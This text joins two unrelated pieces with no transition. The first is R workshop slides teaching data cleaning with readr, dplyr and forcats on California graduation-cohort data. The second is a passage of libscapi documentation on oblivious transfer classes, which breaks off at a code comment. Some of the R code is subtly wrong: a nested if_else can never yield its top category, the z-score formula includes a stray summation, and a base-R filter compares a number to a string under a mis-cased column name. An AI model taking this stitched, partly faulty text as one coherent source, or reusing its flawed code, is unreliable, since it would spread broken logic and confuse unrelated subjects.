class: center, middle, my-title, title-slide # An Introduction to R: Data Cleaning, Wrangling, Visualizing, and Everything Else ## Part 2 ### Daniel Katz --- class: middle # Enough Putzing about, Let's get to Data + The type of data structure you will mostly work with in R is the dataframe. Or, data.frame + Other common types of data structures: + `matrix` + `lists` + `arrays` --- class: middle ### Arrays + An array is a general multidimensional data structure + mindblowingly, a matrix that essentially has an x, y, and a z axis (or more!) + One can make lists of matrices or dataframes, and lists can be [_**IN dataframes**_](https://jennybc.github.io/purrr-tutorial/ls13_list-columns.html) + Sometimes, you want to do the same thing to a number of dataframes [_**iteration**_](https://r4ds.had.co.nz/iteration.html). + In a list, you have a method for doing this very easily --- class: middle ## Getting data sets in to R with the `readr` package + The first challenge: getting data into R + R needs a command to read in the data + R needs a path, where to find the data + We're going to use the [_**`readr`**_](https://readr.tidyverse.org/) package to handle most file types #### However, the `foreign` package and `haven` package can handle files from SAS, SPSS, STATA + You don't need SPSS, SAS, or STATA to read data into R --- class: middle ## First, things first + Download the data! + The data today is a publically accessible dataset from the [_**California Department of Education**_](https://www.cde.ca.gov/ds/sd/sd/filescohort.asp) + Download by clicking: [**Example Data 1**](/CDRPdata/cohort16.csv) + I've posted it on the workshop web here: [_**CDEDATA**_](http://www.dbkatz.com/1/01/01/beginning-a-new-intro-to-r-workshop/) + And put it in your working directory + My what? ```r # this will tell you the file path of your current wd. getwd() ``` ``` ## [1] "C:/Users/katzd/Desktop/Github/danielbkatz.github.io/assets/Presentations/slides" ``` --- ## A Rare Best Practice 1. It is recommend that you create, in your working directory, folders just for the initial raw data (this data isn't to be altered) 1. Another folder in your working directory just for altered datasets (with computed variables, cleaned, or otherwise changed data) 1. Another folder just for statistical output and plots (or divide)  ---
--- ## Read in the data, the cheating way... 1. First create a new script in R, save it, and call it `learning_tidyverse`. 1. In the top right, under the Global Environment tab, it says "Import Dataset" 1. The file we downloaded is a CSV file (make sure to use readr) 1. Select `Import Dataset` ➡ `From Text (readr)` ➡ `Browse` ➡Find the dataset*, select, and open ➡ look at the preview 1. If it doesn't look right, you can play with the settings (probably have to change delimiter) # Don't import yet! --- ## The final steps 1. In the lower right, there is some code, copy it and cancel out 1. Paste the code into your new script at the top; write a note about what it is 1. Eventually, you'll want to do this manually, I promise (and please, promise me)  --- ## Code for Reading in + Run all the code... ```r # Now that I've put my files in a rawdata folder #in the working directory, I can do this: # Load the library library(readr) co16 <- read_csv("RawData/cohort16.csv") #Try out "View!" View(co16) #You can also save the object location (makes life easier) # Assign a variable with a string value of the file location. cohortdata <- "RawData/cohort16.csv" # Put the variable in your function, `read_delim` co16 <- read_csv(cohortdata) ``` --- class: middle ### Can also go searching for it with a longer path (doesn't need to be in your working directory) ```r co16 <- read_csv("C:/Users/katzd/Desktop/Github/perswebsite2/static/CDRPdata/cohort16.csv") ``` --- ## Missing data in R... + Missing data in `R` appears as `NA` + The philosophy in R regarding `NA` is that it's an unknown value + kind of like a latent variable (many consider latent variable modelling a solution to a missing data problem) + Base R won't compute certain statistics if you don't use the command `na.rm=T` which tells it to compute the statistic by removing the missing cases (where T = TRUE) + Because: The mean isn't known with missing values, truly ```r # Example" missingvector <- c(1,2, 3, 4, 5, NA) mean(missingvector) ``` ``` ## [1] NA ``` ```r mean(missingvector, na.rm = T) ``` ``` ## [1] 3 ``` --- class: middle # Introducing `dplyr` from the tidyverse [_**`dplyr`**_](https://dplyr.tidyverse.org/) is a package full of "verbs" that help us work on data. Some major verbs are + filter() allows us to filter rows by certain values + select() allows us to select or deselect columns by name + mutate() allows us to create/compute new variables --- ## Data Sense Let's get a sense of the data ```r #get variable names names(co16) ``` ``` ## [1] "X1" "CDS" ## [3] "Name" "AggLevel" ## [5] "DFC" "Subgroup" ## [7] "Subgrouptype" "NumCohort" ## [9] "NumGraduates" "Cohort Graduation Rate" ## [11] "NumDropouts" "Cohort Dropout Rate" ## [13] "NumSpecialEducation" "Special Ed Completers Rate" ## [15] "NumStillEnrolled" "Still Enrolled Rate" ## [17] "NumGED" "GED Rate" ## [19] "Year" ``` --- Get the first 10 rows ```r head(co16) ``` ``` ## # A tibble: 6 x 19 ## X1 CDS Name AggLevel DFC Subgroup Subgrouptype NumCohort NumGraduates ## <dbl> <chr> <chr> <chr> <chr> <chr> <chr> <dbl> <dbl> ## 1 1 0161~ REAL~ D Y All 9 NA NA ## 2 2 0161~ Impa~ D Y All 2 NA NA ## 3 3 0161~ Impa~ D Y All 9 NA NA ## 4 4 0161~ Impa~ D Y All 7 NA NA ## 5 5 0161~ Silv~ D Y All 5 11 NA ## 6 6 0161~ Live~ D Y All 5 27 27 ## # ... with 10 more variables: `Cohort Graduation Rate` <dbl>, ## # NumDropouts <dbl>, `Cohort Dropout Rate` <dbl>, NumSpecialEducation <dbl>, ## # `Special Ed Completers Rate` <dbl>, NumStillEnrolled <dbl>, `Still Enrolled ## # Rate` <dbl>, NumGED <dbl>, `GED Rate` <dbl>, Year <dbl> ``` --- ## Using select to get RID of a column #### We notice that the first column in the dataset is called `X1.` + This column is added automatically when a dataframe is exported to csv from R. Let's get rid of it. We use a `-` sign before the column name. That's it. ```r co16_rem <- select(co16, -X1) #non tidyverse solution (remember indexing!!) co16_rem <- co16[-1] #make sure this worked names(co16_rem) ``` ``` ## [1] "CDS" "Name" ## [3] "AggLevel" "DFC" ## [5] "Subgroup" "Subgrouptype" ## [7] "NumCohort" "NumGraduates" ## [9] "Cohort Graduation Rate" "NumDropouts" ## [11] "Cohort Dropout Rate" "NumSpecialEducation" ## [13] "Special Ed Completers Rate" "NumStillEnrolled" ## [15] "Still Enrolled Rate" "NumGED" ## [17] "GED Rate" "Year" ``` --- ## Checking our work + Remember when we talked about `class`? + Well, let's make sure `CDS` which is a school ID, is of class `character`, how will we do this? + We don't want school ID to be a "numeric" variable of some sort - It's an ID so leading zeros matter + Using another R index tool, `$`, which selects column by name (code complete should show you the name). ```r class(co16_rem$CDS) ``` --- # What about all variables?: Introducing `str()` ```r str(co16_rem) ``` ``` ## Classes 'tbl_df', 'tbl' and 'data.frame': 75262 obs. of 18 variables: ## $ CDS : chr "01611430122697" "01611920113902" "01611920113902" "01611920113902" ... *## $ Name : chr "REALM Charter High" "Impact Academy of Arts & Technology" "Impact Academy of Arts & Technology" "Impact Academy of Arts & Technology" ... ## $ AggLevel : chr "D" "D" "D" "D" ... ## $ DFC : chr "Y" "Y" "Y" "Y" ... ## $ Subgroup : chr "All" "All" "All" "All" ... ## $ Subgrouptype : chr "9" "2" "9" "7" ... ## $ NumCohort : num NA NA NA NA 11 27 50 61 NA NA ... ## $ NumGraduates : num NA NA NA NA NA 27 47 55 NA NA ... ## $ Cohort Graduation Rate : num 0 100 50 100 63.6 ... ## $ NumDropouts : num NA NA NA NA NA NA NA NA NA NA ... ## $ Cohort Dropout Rate : num 100 0 50 0 27.3 0 4 1.6 12.5 0 ... ## $ NumSpecialEducation : num NA NA NA NA NA NA NA NA NA NA ... ## $ Special Ed Completers Rate: num 0 0 0 0 0 0 0 0 0 0 ... ## $ NumStillEnrolled : num NA NA NA NA NA NA NA NA NA NA ... ## $ Still Enrolled Rate : num 0 0 0 0 9.1 0 2 8.2 0 0 ... ## $ NumGED : num NA NA NA NA NA NA NA NA NA NA ... ## $ GED Rate : num 0 0 0 0 0 0 0 0 0 0 ... ## $ Year : num 1516 1516 1516 1516 1516 ... ``` Easy! --- class: middle ## Explaining the data set (this is especially good for the tidyverse) + The variable `CDS` is a code for county, district, and schools (an ID). + This data contains information from state level, to county level, to district level, to school level. + It also contains information about demographics. Each demographic group per school, gets its own row + For instance, `AggLevel` denotes whether that row refers to "State", "County", "District," or "School" --- class: middle + If for instance, we take the first row, and first six columns

  CDS 	  Name 	  AggLevel 	  DFC 	  Subgroup 	  Subgrouptype

 <PHONE_NUMBER>2697 	  REALM Charter High 	  D 	  Y 	  All 	  9

 + This row represents district totals (so it's at the district level). + District totals for the state-identified `Subgroup`, "All". (codebook, here: [_**California Department of Education**_](https://www.cde.ca.gov/ds/sd/sd/filescohort.asp), that's an aggregation) + `Subgrouptype` is 9, which refers to: `9 – Two or more races, not Hispanic` + Not stratified by "Gender" -- + So that row refers to the district's total for all students who have been identified as `Two or more races, not Hispanic` (you really get to see how the state of CA thinks) --- ## Introducing `filter()` and pipe operators `%>%` + Let's say, we want to know about average graduation rate: For the entire state + I know that in the `Name` column, there's school names and a value called "Statewide" + `filter` literally filters rows that meet a certain rule, such as equaling a value + `filter(df, rule)` ```r stateco16 <- filter(co16_rem, Name=="Statewide") ``` --- class: middle ```r stateco16 <- filter(co16_rem, Name=="Statewide") ``` #### We `filter` based on the value of a variable + The variable is `Name` + It is of class, "character" + The value that we want is "Statewide" + This keeps only the cases where Name==Statewide --- ## Check for understanding, filter. + We only want to look at `district totals` data. + Use filter, on AggLevel such that we only select the category `D` + Call this new dataframe that you create "distr" + You'll have to start with `co16_rem` -- ## solution ```r distr <- filter(co16_rem, AggLevel == "D") # Did it work? table(distr$AggLevel) ``` ``` ## ## D ## 19585 ``` ```r #vs. table(co16_rem$AggLevel) ``` ``` ## ## D O S T ## 19585 1814 53829 34 ``` --- class: middle ## Piping Operators + However, we don't want to create a new object in R every time you perform an operation (we often perform a lot of operations and this gets confusing) + The `%>%` operator, helps - read it as `and then` + Read the code: Take co16_rem, then filter it (rule) ```r distr <- co16_rem %>% filter(AggLevel == "D") # table gives you counts on column (remember $ indexes) table(distr$AggLevel) ``` ``` ## ## D ## 19585 ``` *What about filtering on more than one variable? That sounds like a challenge!* --- After filtering for District, individual charter schools are left in the dataset. .pull-left[ 1. The variable, DFC contains information as to whether a school is a charter school or not. + Y = Charter School + N = Not a charter school 2. The variable AggLevel has information on level of analysis where + D = Local educational agency totals (includes districts and direct funded charter schools) + O = County totals + S = School totals + T = State totals] .pull-right[1. Starting with the dataframe, `co16_rem`, create a new dataframe called `cocharter` by... 2. using `filter` so we only keep districts but remove charter schools. 3. Use filter and/or pipes so you only need to create one dataframe 3. If you need the codebook, it is here: [_**California Department of Education**_](https://www.cde.ca.gov/ds/sd/sd/filescohort.asp)] #### *Hint* You can do this with one pipe or two. Filter can take multiple arguments --- # Solutions ```r # Either one will work, I prefer method1 nocharter <- co16_rem %>% filter(DFC == "N", AggLevel == "D") # or... nocharter <- co16_rem %>% filter(DFC=="N") %>% filter(AggLevel=="D") ``` --- # Challenge 1.After filtering, what categories are still left in the variable, `Agglevel`, in your new dataframe, nocharter? 1. Without creating a new R object, edit your script such that you keep only the category `All` from variable `Subgroup` and `All` from variable `Subgrouptype`.  Now, using a pipe and assigning a new variable called `nocharter1000`, start with nocharter such that nocharter1000 only has districts with _at least_ 1000 students in its cohort (you'll need the variable NumCohort). 1. The variable you'll need to filter on is "NumCohort" --- ## Solutions ```r table(nocharter$AggLevel) ``` ``` ## ## D ## 493 ``` ```r nocharter1000 <- nocharter %>% filter(NumCohort >= 1000) range(nocharter1000$NumCohort, na.rm = T) ``` ``` ## [1] 1000 34472 ``` ```r nrow(nocharter1000) ``` ``` ## [1] 136 ``` --- class: middle # Non-tidyverse solutions to filtering rows *If I want to select particular rows, say, row 1, along with the fourth column:* + `newdf <- co16_rem[1, 4]` (where the first element represents row number, after the comma, the column (just like a matrix)) + Just the first row: `newdf <- co16_rem[1, ]` *If I want to select rows according to rule (say, 1000)*: `newdf <- co16_rem[co16_rem$numcohort >= "1000", ]` --- class: middle ## For non-tidyverse solutions for selecting columns: + Indexing: `co16_rem[1:4]` (note, don't need commas) but same as `co16_rem[, 1:4]` + By name, use, `$`: `co16_rem$AggLevel` --- class: middle ## tidyverse solution to selecting columns + Re-introducing `select()` + `select()` takes a dataframe name and the name of the columns you wish to select. + Typical use involves taking a very large dataset and selecting only the columns you need. + You can also use `select()` to reorder columns, remove columns, and rename columns -- + General Format: `select(df, columns_you_wish_to_select, by name)` --- class: middle # Example use: ```r state16 <- co16_rem %>% select(CDS, Name, NumCohort, NumGraduates, `Cohort Graduation Rate`, NumDropouts) # without a pipe operator *state16 <- select(co16_rem , CDS, Name, NumCohort, NumGraduates, `Cohort Graduation Rate`, NumDropouts) names(state16) ``` ``` ## [1] "CDS" "Name" "NumCohort" ## [4] "NumGraduates" "Cohort Graduation Rate" "NumDropouts" ``` ```r #or View(state16) ``` --- class: middle ## what else can you do with `select`? + Re-order columns: Select in the order that you want the variable to appear Ex: If I want to see "Cohort Graduation Rate" first: + `state16 <- co16_rem %>% select(`Cohort Graduation Rate`, CDS, Name, NumCohort, NumGraduates, NumDropouts)` If I want to rename a column in the process of selecting the format is: `newdf <- old_df %>% select(newname=oldname, var1, var2)` --- class: middle # Check for understanding `select()`: 1. Edit the code: `state16 <- co16_rem %>%` to select all variables listed in the table below.

  Variable_Name 	  Variable_Description

  CDS 	  County, District, or School ID

  Name 	  Name of State, County, District, or School

  AggLevel 	  Level of Row Observation Statewide Totals(T), County Totals (0), District/Local Education Agency Totals (D), School Totals (S)

  DFC 	  Direct Funded Charter: Yes (Y), No (N)

  Subgroup 	  This is a coded field for identifying subgroups of students, such as, program participation and gender

  Subgrouptype 	  This is a coded field for identifying racial/ethnic designation

  NumCohort 	  Number of Students in the Cohort

  NumGraduates 	  Number of students who graduated from the cohort

  NumDropouts 	  Number of Students Recorded as Dropping Out of School

 --- # Solutions ```r state16 <- co16_rem %>% select(CDS:NumGraduates, NumDropouts) names(state16) ``` ``` ## [1] "CDS" "Name" "AggLevel" "DFC" "Subgroup" ## [6] "Subgrouptype" "NumCohort" "NumGraduates" "NumDropouts" ``` --- ## Adding more to select() 1. Using `select()`, edit your code from above to **ALSO** select the variables listed below while renaming them + Rename `Cohort Graduation Rate` to `gradrate` + Rename `Cohort Dropout Rate` to `droprate` + Rename `GED Rate` to `GEDrate` Creating a new dataframe called state16d, and using a pipe operator 1. add a filter command to your code, such that you select + only district level data, D, (from `AggLevel`) + only non-charter schools, N, (from `DFC`) + only `All` from both `Subgroup` and `Subgrouptype` 1. What is the largest value for `Numcohort`? --- ## Solutions ```r state16 <- co16_rem %>% select(CDS:NumGraduates, NumDropouts, gradrate = `Cohort Graduation Rate`, droprate = `Cohort Dropout Rate`, GEDrate = `GED Rate`) state16d <- state16 %>% filter(AggLevel=="D", DFC=="N", Subgroup=="All", Subgrouptype=="All") ``` ```r range(state16d$NumCohort, na.rm=T) ``` ``` ## [1] 11 34472 ``` ```r max(state16d$NumCohort, na.rm=T) ``` ``` ## [1] 34472 ``` Easy! --- class: middle ## Sometimes these methods can be tedious + You can use select functionally, that is, you can select based on a rule + If a variable name contains a certain string e.g. `state16 %>% select(contains("Num"), ends_with("ort"))` + If a variable is numeric: `state16 %>% select_if(is.numeric)` + These are just a few examples, if it can be evaluated with a logical, you can use select_if (or any dplyr verb conditionally) + Read more [**here**](https://www.rdocumentation.org/packages/dplyr/versions/0.5.0/topics/select_if): --- ## Names + You can rename files using: `names(df)[column_numbers] <- c("name for first column", "name for second column")` Example: ```r #to have a throw away datafram co16_test <- co16_rem names(co16_test)[1:5] <- c("ID", "Title", "Stateleveltoschoollevel", "Charter", "Classification") names(co16_test) ``` ``` ## [1] "ID" "Title" ## [3] "Stateleveltoschoollevel" "Charter" ## [5] "Classification" "Subgrouptype" ## [7] "NumCohort" "NumGraduates" ## [9] "Cohort Graduation Rate" "NumDropouts" ## [11] "Cohort Dropout Rate" "NumSpecialEducation" ## [13] "Special Ed Completers Rate" "NumStillEnrolled" ## [15] "Still Enrolled Rate" "NumGED" ## [17] "GED Rate" "Year" ``` --- ## Or use tidyverse `rename()` ```r co16_test <- co16_rem %>% rename("NEWCODE"=CDS, "Title"=Name, "Level"=AggLevel) names(co16_test) ``` ``` ## [1] "NEWCODE" "Title" ## [3] "Level" "DFC" ## [5] "Subgroup" "Subgrouptype" ## [7] "NumCohort" "NumGraduates" ## [9] "Cohort Graduation Rate" "NumDropouts" ## [11] "Cohort Dropout Rate" "NumSpecialEducation" ## [13] "Special Ed Completers Rate" "NumStillEnrolled" ## [15] "Still Enrolled Rate" "NumGED" ## [17] "GED Rate" "Year" ``` New names on the left of the `=`, in quotes. --- class: middle ## Getting fancy If you want to find the district with the largest cohort via dplyr: ```r state16d %>% filter(NumCohort==max(NumCohort, na.rm=T)) %>% select(Name) ``` ``` ## # A tibble: 1 x 1 ## Name ## <chr> ## 1 Los Angeles Unified ``` --- class: middle ## Something we haven't talked about yet... Variable types + The typical sort of stuff you see in SPSS for "types of variables" exists in R + Some of the major data structures you'll find that R recognizes: + `Character` - string variables/words/unordered + `Factors` - Categorical variable, usually ordered + `Numeric` (common types are integer and double, but it almost never matters [see here](https://www.burns-stat.com/documents/tutorials/impatient-r/more-r-key-objects/more-r-numbers/)) + `Logical` (of the value, TRUE (T) or FALSE (F) or sometimes 1 or 0) + `Date and/or Time` --- class: middle ### More on logicals + `TRUE` or `FALSE` have their own meaning in R - R knows what they mean + Always corresponds to 1 or 0 + As an example, run the code `T*1` and `F*1` + If you remember the booleans, such as `<=` they're evaluated as `TRUE` or `FALSE` --- class: middle ## How R uses Logicals #### When filtering, what we're really saying is... _If this statement is TRUE, keep or discard these cases_ + You can have an entire column in a dataframe that is a set of logicals (whether a student partook in a certain curriculum) + You might have a column of 1s or 0s - But you need R to recognize it as a Boolean or at least a factor. + We'll have to coerce the column in a data frame, but first, `mutate()` --- ## Mutate + `Mutate()` is a function in dplyr used to create new columns or change existing ones. + General form: `Mutate(df, new_variable_name = some_operation)` + Let's say I want to check if my cohort and enrollment numbers match the graduation rate of that the state calculated. ```r state16d <- state16d %>% mutate(gradrate_calc = NumGraduates/NumCohort) head(state16d[5:length(state16d)]) ``` ``` ## # A tibble: 6 x 9 ## Subgroup Subgrouptype NumCohort NumGraduates NumDropouts gradrate droprate ## <chr> <chr> <dbl> <dbl> <dbl> <dbl> <dbl> ## 1 All All 312 109 148 34.9 47.4 ## 2 All All 727 632 39 86.9 5.4 ## 3 All All 779 749 18 96.2 2.3 ## 4 All All 206 205 NA 99.5 0.5 ## 5 All All 76 37 19 48.7 25 ## 6 All All 1093 979 78 89.6 7.1 ## # ... with 2 more variables: GEDrate <dbl>, gradrate_calc <dbl> ``` --- class: middle ## Challenge, `mutate()` and using assignment 1. Create a column using mutate that gives a standardized value of NumCohort for Districts in `State16d`. Call the column `StandCohort` 2. Select all the cases in State16 that are at least two standard deviations above the mean NumCohort value based on your standardization *Standardization/Z-Score = `\(\Sigma(x-\mu)/\sigma\)`* 1. You'll need to get the mean of Numcohort. 1. You'll need to get the standard deviation of Numcohort. --- ## Solution ```r #### easier ### mu <- mean(state16d$NumCohort, na.rm = T) sigma <- sd(state16d$NumCohort, na.rm = T) twosigma <- state16d %>% mutate(StandCohort=(NumCohort-mu)/sigma) %>% filter(StandCohort >= 2) View(twosigma) ``` ```r # harder twosigma <- state16d %>% mutate(StandCohort = (NumCohort - mean(NumCohort, na.rm = T))/sd(NumCohort, na.rm = T)) %>% filter(StandCohort >= 2) ``` ```r # Best: using the function, scale()!! state16 <- state16d %>% mutate(StandCohort= scale(NumCohort)) %>% filter(StandCohort >= 2) ``` --- # If and Else + What if I wanted to create a dummy variable for `standcohort>=2` or not instead of filtering + Introducing if_else + Rule mutate = if_else(df, Variable == val, TRUE_value, False_value) ```r districtlarge <- state16d %>% mutate(StandCohort= scale(NumCohort)) %>% * mutate(Large = if_else(StandCohort >= 2, 1,0)) table(districtlarge$Large) ``` ``` ## ## 0 1 ## 465 9 ``` --- class: middle ## Can nest + If StandCohort >= 1, Large =1 + If StandCohort >= 1, Large =2 + Otherwise, Large = 0 ```r districtlarge <- state16d %>% mutate(StandCohort= scale(NumCohort)) %>% mutate(Large = if_else(StandCohort >= 1, 1, if_else(StandCohort >= 2, 2, 0))) table(districtlarge$Large) ``` ``` ## ## 0 1 ## 446 28 ``` --- class: middle ## Coercing + In R, factors have labels, like in SPSS. + We can use factors to add a label, so that in the data frame, we can see 1, but it has a label of "Participated" (or something like that) + Let's start with `co16_rem` but let's make it smaller. + Select, `CDS`, `Name`, `AggLevel`, `DFC` using a `:` (because all the columns are in a row (`CDS` THROUGH `DFC`) -- ```r co16dat <- co16_rem %>% select(CDS:DFC) ``` --- ## Exploring the dataset + First, let's check out the structure of the dataframe, co16dat ```r class(co16dat) ``` ``` ## [1] "tbl_df" "tbl" "data.frame" ``` (Tibble is a dplyr specific object, hence, tbl, read about [Tibbles](https://r4ds.had.co.nz/tibbles.html#tibbles-vs.data.frame)) -- ### Let's figure out what class each column is using str() ```r str(co16dat) ``` ``` ## Classes 'tbl_df', 'tbl' and 'data.frame': 75262 obs. of 4 variables: ## $ CDS : chr "01611430122697" "01611920113902" "01611920113902" "01611920113902" ... ## $ Name : chr "REALM Charter High" "Impact Academy of Arts & Technology" "Impact Academy of Arts & Technology" "Impact Academy of Arts & Technology" ... ## $ AggLevel: chr "D" "D" "D" "D" ... ## $ DFC : chr "Y" "Y" "Y" "Y" ... ``` --- ## Another way to explore a data set (and aside/introduction to apply()) + apply(df, index, function) is the R version of a `for loop`: it iterates across rows and columns + Index =1 performs some operation over rows + Index =2 performs some operation over columns + So, to get the class of each variable: ```r apply(co16dat, 2, class) ``` ``` ## CDS Name AggLevel DFC ## "character" "character" "character" "character" ``` --- ## Challenge `apply()` + Replace `class` with the function `table` + Look only at the last two columns of co16dat. *Hint*: Remember indexing (though, there are other ways) -- ```r apply(co16dat[3:4], 2, table) ``` ``` ## $AggLevel ## ## D O S T ## 19585 1814 53829 34 ## ## $DFC ## ## N Y ## 61024 14238 ``` ```r #or to get a cross tab co16dat %>% select(AggLevel, DFC) %>% table() ``` ``` ## DFC ## AggLevel N Y ## D 12466 7119 ## O 1814 0 ## S 46710 7119 ## T 34 0 ``` --- class: middle ### Let's make DFC a factor, right now it's of class character ```r co16dat <- co16_rem %>% select(CDS:DFC) ## We're going to call out the column by name co16dat$DFC <- as.factor(co16dat$DFC) # levels() tells us what's in the factor. levels(co16dat$DFC) ``` ``` ## [1] "N" "Y" ``` --- ## But what if I want to add labels? + Best practice: make sure that if you transform a variable within a data.frame, but don't make the dataframe a new object, that you make it a new variable ```r #make a new column name co16dat$DFCfactor2 <- factor(co16dat$DFC, levels = c("Y", "N"), labels = c("Charter", "Not_Charter")) levels(co16dat$DFC) ``` ``` ## [1] "N" "Y" ``` # What if it involves numbers? --- ## We'll use a built-in R dataset for this You don't need to load any data but to get a feeling type: `View(mpg)` ```r table(mpg$cyl) ``` ``` ## ## 4 5 6 8 ## 81 4 79 70 ``` ```r class(mpg$cyl) ``` ``` ## [1] "integer" ``` ```r # assign a new name so we don't mess up the base R dataset # Let's make the variable cyl an ordinal variable with labels and mutate # Ordered tells R that the factor is ordered bu could also use factor mpg2 <- mpg %>% mutate(cyl2 = ordered(cyl, levels = c(4, 5, 6, 8), labels = c("Smallest", "Small", "Medium", "Large"))) levels(mpg2$cyl2) ``` ``` ## [1] "Smallest" "Small" "Medium" "Large" ``` --- class: middle #### Just be careful, especially with values coded as 1 or 0 and numeric but represent two categories: + You either turn it into a logical using `as.logical` or a factor before analysis. --- ## Challenge, factors 1. Using `mpg2`, turn the variable in mpg2, "class" into a factor variable. 2. Make the levels go from 2seater:suv -- ```r table(mpg2$class) ``` ``` ## ## 2seater compact midsize minivan pickup subcompact suv ## 5 47 41 11 33 35 62 ``` ```r class(mpg2$class) ``` ``` ## [1] "character" ``` ```r mpg2 <- mpg2 %>% mutate(class2 = ordered(class, levels = c("2seater", "compact", "midsize", "minivan", "pickup", "subcompact", "suv"))) class(mpg2$class2) ``` ``` ## [1] "ordered" "factor" ``` --- # There are much more on factors than I could cover in this workshop + If you want to read more, go [here](https://r4ds.had.co.nz/factors.html) + Particularly powerful is `fct_recode` from the `forcats` package of the tidyverse + Allows you to recode levels, collapse levels, or change level names. --- ### Example of `fct_recode` Example: using the general social survey, gss (example from [https://r4ds.had.co.nz/factors.html#modifying-factor-levels](https://r4ds.had.co.nz/factors.html#modifying-factor-levels)) ```r # using built in dataset gss_cat examplegss <- gss_cat %>% select(partyid) # partyid is a factor #create a new name on the left, the old name on the right recodeparty <- examplegss %>% mutate(partyid = fct_recode(partyid, "Republican, strong" = "Strong republican", "Republican, weak" = "Not str republican", "Independent, near rep" = "Ind,near rep", "Independent, near dem" = "Ind,near dem", "Democrat, weak" = "Not str democrat", "Democrat, strong" = "Strong democrat" )) %>% count(partyid) ``` ---

  partyid 	  n

  No answer 	  154

  Don't know 	  1

  Other party 	  393

  Republican, strong 	  2314

  Republican, weak 	  3032

  Independent, near rep 	  1791

 --- # Challenge, fct_recode() 1. Using fct_recode with the `mpg` data, collapse categories so that there are only two categories in the variable, cyl2: + `small` for 4 and 5 cylinder, + `Large`, for 6 and 8 cylinders. --- # Solution ```r table(mpg2$cyl2) ``` ``` ## ## Smallest Small Medium Large ## 81 4 79 70 ``` ```r mpg2 <- mpg2 %>% mutate(cyl2 = fct_recode(cyl2, "Small"= "Smallest", "Small"= "Small", "Large"= "Medium")) # fct_recode: According to data-science with R, fct_recode() will leave levels that aren’t mentioned, and will warn you if you accidentally refer to a level that doesn’t exist. sum(table(mpg2$cyl2)) ``` ``` ## [1] 234 ``` ```r sum(table(mpg2$cat.cyl)) ``` ``` ## [1] 0 ``` --- # Ok, Finally, some analysis...Go to Part III ##


Oblivious Transfer Protocols¶
In Oblivious Transfer, a party called the sender has n messages, and a party called the receiver has an index i. The receiver wishes to receive the i^{th} message of the sender, without the sender learning i, while the sender wants to ensure that the receiver receives only one of the n messages.
Contents
Class Hierarchy¶
The general structure of OT protocols contains three components:
- Sender and receiver abstract classes
- Sender and receiver concrete classes
abstract classes¶
Both Sender and Receiver abstract classes declare the transfer()
function, which executes the OT protocol. The transfer()
function of the sender runs the protocol from the sender’s point of view, while the transfer function of the receiver runs the protocol from the receiver’s point of view.
There are two types of abstract classes. One is for the regular OT case and the other for the batch OT case .
In the regular OT case, both transfer functions accept two parameters:
- A channel that is used to send and receive messages during the protocol execution.
- An input object that holds the required parameter to the sender/receiver execution.
In the batch OT case, the transfer functions accept just the input object, since all concrete implementations use their own communication rether than libscapi’s channel.
The input types are OTSInput
and OTRInput
for the regular case, and OTBatchSInput
and OTBatchRInput
for the batch case. These are abstract classes for the sender’s and receiver’s input, respectively. Each concrete implementation may have some different parameters and should implement a dedicated input class that holds them.
The transfer functions of the sender and the receiver differ in their return value. In the regular case, the sender’s transfer function returns void, and the receiver’s transfer function returns OTROutput
. In the batch case, the sender’s transfer function returns OTBatchSOutput
, and the receiver’s transfer function returns OTBatchROutput
. All types of output are abstract classes and work as marker classes. Each concrete OT receiver should implement a dedicated output class that holds the necessary output objects.
The OTSender abstract class¶
-
class
OTSender
¶
-
void
OTSender::
transfer
(CommParty *channel, OTSInput *input)¶ The transfer stage of OT protocol which can be called several times in parallel. The OT implementation support usage of many calls to transfer, with single preprocess execution. This way, one can execute multiple OTs by creating the OT sender once and call the transfer function for each input couple. In order to enable parallel calls, each transfer call should use a different channel to send and receive messages. This way the parallel executions of the function will not block each other.
Parameters: - channel – each call should get a different one.
- input – The parameters given in the input must match the DlogGroup member of this class, which given in the constructor.
The OTReciever abstract class¶
-
class
OTReceiver
¶
-
shared_ptr<OTROutput>
OTReceiver::
transfer
(CommParty *channel, OTRInput *input)¶ The transfer stage of OT protocol which can be called several times in parallel. The OT implementation support usage of many calls to transfer, with single preprocess execution. This way, one can execute multiple OT by creating the OT receiver once and call the transfer function for each input couple. In order to enable parallel calls, each transfer call should use a different channel to send and receive messages. This way the parallel executions of the function will not block each other.
Parameters: - channel – each call should get a different one.
- input – The parameters given in the input must match the DlogGroup member of this class, which given in the constructor.
Returns: OTROutput, the output of the protocol.
The OTBatchSender abstract class¶
-
class
OTBatchSender
¶
-
shared_ptr<OTBatchSOutput>
OTBatchSender::
transfer
(OTBatchSInput *input)¶ The transfer stage of OT protocol which does mulptiple OTs in parallel.
Parameters: input – The parameters used in the
The OTBatchReceiver abstract class¶
-
class
OTBatchReceiver
¶
-
shared_ptr<OTBatchROutput>
OTBatchReceiver::
transfer
(OTBatchRInput *input)¶ The transfer stage of OT protocol which does mulptiple OTs in parallel.
Parameters: input – The parameters given in the input must match the DlogGroup member of this class, which given in the constructor. Returns: OTROutput, the output of the protocol.
The Input/Output Interfaces¶
Every OT sender and receiver need inputs during the protocol execution, but every concrete protocol needs different inputs. The following classes are marker classes for regular and batch OT sender/receiver inputs, where there is an implementing class for each OT protocol.
-
class
OTSInput
¶
-
class
OTRInput
¶
-
class
OTBatchSInput
¶
-
class
OTBatchRInput
¶
Similar, every regular OT receiver and every batch sender and receiver outputs a result in the end of the protocol execution, but every concrete protocol output different data. The following classes are marker classes for OT output, where there is an implementing class for each OT protocol.
-
class
OTROutput
¶
-
class
OTBatchSOutput
¶
-
class
OTBatchROutput
¶
Concrete implementations¶
As we have already said, each concrete OT implementation should implement dedicated sender and receiver classes. These classes implement the functionalities that are unique for the specific implementation. Most OT protocols can work on two different types of inputs: byte arrays and DlogGroup elements. Each input type should be treated differently, thus we decided to have concrete sender/receiver classes for each input option.
Concrete regular OT implemented so far are:
- Semi Honest
- Privacy Only
- One Sided Simulation
- Full Simulation
- Full Simulation – ROM
- UC
Concrete batch OT implemented so far are:
- Batch Semi Honest Extension. This is a wrapper of Michael Zohner’s implementation.
- Batch Malicious Extension. There are two wrappers: One wraps the Michael Zohner’s implementation and the other wraps the Bristol’s implementation.
Basic Usage¶
In order to execute the OT protocol, both sender and receiver should be created as separate programs (Usually not on the same machine). The main function in the sender and the receiver is the transfer function, that gets the communication channel between them and input.
Steps in sender creation:
- Given a
Channel
object channel do: - Create an
OTSender
(for example,OTSemiHonestDDHOnGroupElementSender
). - Create input for the sender. Usually, the input for the receiver contains x0 and x1.
- Call the transfer function of the sender with channel and the created input.
//Creates the OT sender object.
